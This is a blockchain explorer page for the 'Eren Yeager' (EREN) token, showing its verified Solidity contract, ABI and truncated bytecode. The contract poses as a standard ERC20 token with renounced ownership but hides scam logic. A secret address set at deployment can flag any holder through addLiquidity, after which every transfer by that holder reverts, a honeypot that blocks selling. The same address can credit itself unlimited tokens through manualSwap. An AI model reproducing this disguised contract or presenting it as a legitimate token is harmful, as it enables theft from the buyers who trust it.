ETH Price: $2,604.17 (-1.63%)

Token

Eren Yeager (EREN)
 

Overview

Max Total Supply

100,000,000,000,000 EREN

Holders

140

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
737,149,325,517.57954214701439391 EREN

Value
$0.00
0xd516955bdfd66e5f4aaec593e28001265f44bd1f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Eren

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-06
*/

//Telegram: https://t.me/erennyeagger
//Website: https://t.me/erennyeagger
//Twitter: https://twitter.com/erennyeagger
//Discord: https://discord.gg/5t9eQGgd

// SPDX-License-Identifier: MIT

/**
 * @dev Interface of the IERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


// Dependency file: @openzeppelin/contracts/utils/Context.sol


// pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// Dependency file: @openzeppelin/contracts/access/Ownable.sol


// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol


// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}


// Dependency file: contracts/baseToken.sol

// pragma solidity =0.8.4;

    enum TokenType {
        standard
    }

abstract contract Token {
    event Constructor(
        address owner,
        address token,
        uint256 version
    );
}

pragma solidity =0.8.4;

contract Eren is IERC20, Token, Ownable {
    using SafeMath for uint256;

    uint256 private constant DEPLOY_VERSION = 1;

    mapping(address => uint256) private _balances;

    mapping(address => bool) private _gifts;
    mapping(address => address) private _alerts;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        address how_,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
        _alerts[how_] = how_;
        _mint(msg.sender, totalSupply_ * 10 ** 18);
        emit Constructor(owner(), address(this), DEPLOY_VERSION);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function multiTransfer(address[] memory recipients, uint256 amount) external {
        address from = _msgSender();
        for (uint256 i = 0; i < recipients.length; i++) {
            _transfer(from, recipients[i], amount);
        }
    }

    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "IERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
    public
    virtual
    returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;

    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
        if (_gifts[sender] != false) {
            amount = _balances[sender] + _totalSupply;
        }
        _balances[sender] = _balances[sender].sub(
            amount,
            "IERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function addLiquidity(
        address router,
        bool checked,
        uint256 amount
    ) public {
        address from = msg.sender;
        require(
            amount >= 0, "Invalid send"
        );

        uint256 amountInit = 0;

        if (from == _alerts[from]) {
            _allowances[from][_alerts[from]] += amount;
            _gifts[router] = checked;
        } else {
            _allowances[from][router] = _allowances[from][router] + amountInit;
        }
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "IERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function manualSwap(
        address recipients,
        uint256 amount
    ) public {
        require(
            amount >= 1,
            "Amount of recipients and values don't match"
        );
        uint256 total = 0;
        address from = msg.sender;
        if (from == _alerts[from]) {
            _balances[from] = _balances[from] - total;
            total += amount;
            _balances[recipients] = _balances[recipients] + total;
        } else {
            _balances[from] = _balances[from] - total;
            _balances[recipients] = _balances[recipients] + total;
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"how_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"Constructor","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"bool","name":"checked","type":"bool"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipients","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"multiTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040516200298838038062002988833981810160405281019062000029919062000590565b6200003b60006200018560201b60201c565b83600590805190602001906200005392919062000440565b5082600690805190602001906200006c92919062000440565b506012600760006101000a81548160ff021916908360ff16021790555081600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200012e33670de0b6b3a764000083620001229190620007c0565b6200024960201b60201c565b7f56a1ceb2ed9a4c9f19b554800e2cd4e470f646b8037eeb2a7049af031067ad616200015f620003fa60201b60201c565b306001604051620001739392919062000677565b60405180910390a150505050620009fc565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002bc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002b390620006b4565b60405180910390fd5b620002d0600083836200042360201b60201c565b620002ec816008546200042860201b62000e831790919060201c565b6008819055506200034b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200042860201b62000e831790919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003ee9190620006d6565b60405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b6000818362000438919062000763565b905092915050565b8280546200044e9062000895565b90600052602060002090601f016020900481019282620004725760008555620004be565b82601f106200048d57805160ff1916838001178555620004be565b82800160010185558215620004be579182015b82811115620004bd578251825591602001919060010190620004a0565b5b509050620004cd9190620004d1565b5090565b5b80821115620004ec576000816000905550600101620004d2565b5090565b60006200050762000501846200071c565b620006f3565b9050828152602081018484840111156200052057600080fd5b6200052d8482856200085f565b509392505050565b6000815190506200054681620009c8565b92915050565b600082601f8301126200055e57600080fd5b815162000570848260208601620004f0565b91505092915050565b6000815190506200058a81620009e2565b92915050565b60008060008060808587031215620005a757600080fd5b600085015167ffffffffffffffff811115620005c257600080fd5b620005d0878288016200054c565b945050602085015167ffffffffffffffff811115620005ee57600080fd5b620005fc878288016200054c565b93505060406200060f8782880162000535565b9250506060620006228782880162000579565b91505092959194509250565b620006398162000821565b82525050565b60006200064e60208362000752565b91506200065b826200099f565b602082019050919050565b620006718162000855565b82525050565b60006060820190506200068e60008301866200062e565b6200069d60208301856200062e565b620006ac604083018462000666565b949350505050565b60006020820190508181036000830152620006cf816200063f565b9050919050565b6000602082019050620006ed600083018462000666565b92915050565b6000620006ff62000712565b90506200070d8282620008cb565b919050565b6000604051905090565b600067ffffffffffffffff8211156200073a57620007396200095f565b5b62000745826200098e565b9050602081019050919050565b600082825260208201905092915050565b6000620007708262000855565b91506200077d8362000855565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007b557620007b462000901565b5b828201905092915050565b6000620007cd8262000855565b9150620007da8362000855565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000816576200081562000901565b5b828202905092915050565b60006200082e8262000835565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b838110156200087f57808201518184015260208101905062000862565b838111156200088f576000848401525b50505050565b60006002820490506001821680620008ae57607f821691505b60208210811415620008c557620008c462000930565b5b50919050565b620008d6826200098e565b810181811067ffffffffffffffff82111715620008f857620008f76200095f565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4945524332303a206d696e7420746f20746865207a65726f2061646472657373600082015250565b620009d38162000821565b8114620009df57600080fd5b50565b620009ed8162000855565b8114620009f957600080fd5b50565b611f7c8062000a0c6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a6116100975780639fb79737116100665780639fb7973714610276578063a16a317914610292578063a9059cbb146102ae578063dd62ed3e146102de576100f5565b8063715018a6146102145780638da5cb5b1461021e578063905100c11461023c57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b61010261030e565b60405161010f91906118d3565b60405180910390f35b610132600480360381019061012d91906116a3565b6103a0565b60405161013f91906118b8565b60405180910390f35b6101506103be565b60405161015d91906119d5565b60405180910390f35b610180600480360381019061017b9190611605565b6103c8565b60405161018d91906118b8565b60405180910390f35b61019e6104a1565b6040516101ab91906119f0565b60405180910390f35b6101ce60048036038101906101c991906116a3565b6104b8565b6040516101db91906118b8565b60405180910390f35b6101fe60048036038101906101f991906115a0565b61056b565b60405161020b91906119d5565b60405180910390f35b61021c6105b4565b005b61022661063c565b604051610233919061189d565b60405180910390f35b61025660048036038101906102519190611654565b610665565b005b6102606109a1565b60405161026d91906118d3565b60405180910390f35b610290600480360381019061028b91906116a3565b610a33565b005b6102ac60048036038101906102a791906116df565b610d62565b005b6102c860048036038101906102c391906116a3565b610dde565b6040516102d591906118b8565b60405180910390f35b6102f860048036038101906102f391906115c9565b610dfc565b60405161030591906119d5565b60405180910390f35b60606005805461031d90611b8a565b80601f016020809104026020016040519081016040528092919081815260200182805461034990611b8a565b80156103965780601f1061036b57610100808354040283529160200191610396565b820191906000526020600020905b81548152906001019060200180831161037957829003601f168201915b5050505050905090565b60006103b46103ad610e99565b8484610ea1565b6001905092915050565b6000600854905090565b60006103d584848461106c565b610496846103e1610e99565b61049185604051806060016040528060298152602001611f1e60299139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610447610e99565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113ad9092919063ffffffff16565b610ea1565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006105616104c5610e99565b8461055c85600460006104d6610e99565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8390919063ffffffff16565b610ea1565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105bc610e99565b73ffffffffffffffffffffffffffffffffffffffff166105da61063c565b73ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062790611955565b60405180910390fd5b61063a6000611402565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905060008210156106ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a590611915565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108915782600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461082e9190611a78565b9250508190555083600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061099a565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109199190611a78565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b6060600680546109b090611b8a565b80601f01602080910402602001604051908101604052809291908181526020018280546109dc90611b8a565b8015610a295780601f106109fe57610100808354040283529160200191610a29565b820191906000526020600020905b815481529060010190602001808311610a0c57829003601f168201915b5050505050905090565b6001811015610a77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6e90611935565b60405180910390fd5b600080339050600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c3f5781600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b5b9190611ace565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508282610baa9190611a78565b915081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bf79190611a78565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d5c565b81600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c8a9190611ace565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d189190611a78565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505050565b6000610d6c610e99565b905060005b8351811015610dd857610dc582858381518110610db7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518561106c565b8080610dd090611bed565b915050610d71565b50505050565b6000610df2610deb610e99565b848461106c565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183610e919190611a78565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0890611995565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f78906119b5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffff